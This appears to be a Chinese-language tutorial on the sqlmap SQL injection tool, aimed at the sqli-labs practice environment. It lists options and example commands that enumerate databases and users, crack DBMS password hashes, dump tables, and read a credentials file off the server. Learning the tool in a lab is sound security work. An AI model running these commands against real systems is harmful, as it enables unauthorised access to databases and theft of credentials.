第六篇 SQLMap的使用
功能
- 支持五种注入技术:Boolean-based blind,Time-based blind,Error-based,UNION query-based,Stacked queries
- 支持指纹和枚举
基本使用
- 获取数据库信息
根据目标网址进行查询:python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" -f --banner --dbs --users

如果是POST请求,可以使用 --data的方式进行提交,多个参数可以使用--param-del指定分隔符,示例:--data="name=zhandsan;age=18" --param-del=";"
- 获取注入点
默认情况下测试所有的GET参数和POST参数,如果需要获取其他的注入点,可以调整--level的参数,比如:比如--level = 2时,还会测试cookie,也可以通过 -p 来指定需要测试的注入点,比如:-p "id,cookie", 如果有的参数不需要,使用--skip参数进行跳过,比如:--skip "user-agent",也支持使用正则表达式的方式进行排除:--param-exclude
- 修改注入技术
默认测试的是所有的支持的技术,如果只想测试一种或几种技术,可以使用--technique参数
B:基于布尔的盲注
E:基于错误
U:基于联合查询
S:堆叠查询
T:基于时间的盲注
Q:内联查询
- 修改UNION注入查询
- 默认使用使用 1 至 10 列测试 UNION 查询,可以使用--union-cols来进行修改
- 默认NULL 字符测试 UNION 查询,可以通过--union-char来进行修改
- 获取数据库信息
- 获取当前用户:--current-user
- 获取当前数据库:--current-db
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --current-user --current-db

- 检测当前是否为数据库管理员:--is-dba
- 列出数据库管理系统用户:--users
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --is-dba --users


- 破解系统管理用户密码:--passwords
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --passwords

- 列出系统用户权限:--privileges
- 列出系统用户角色:--roles
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --privileges --roles


- 列出所有的数据库:--dbs
- 列出所有的表:--tables
- 列出所有的列:--columns
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --dbs --tables --columns



- 获取数据表中的条数:--count
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --count -D security

- 获取数据表中的数据:--dump,-C,-T,-D,--start,--stop,--first,--last,--pivot-column 和 --where
用参数 “-D” 指定数据库,用参数 “-T” 指定数据表,用参数 “-C” 指定目标列
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --dump -T users

- 从数据库服务器系统读取文件:--file-read
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --file-read "/var/www/html/sql-connections/db-creds.inc"


- WAF检测:--identify-waf
python sqlmap.py -u "http://www.sqllabs.com:7080/Less-1/?id=1" --identify-waf

浙公网安备 33010602011771号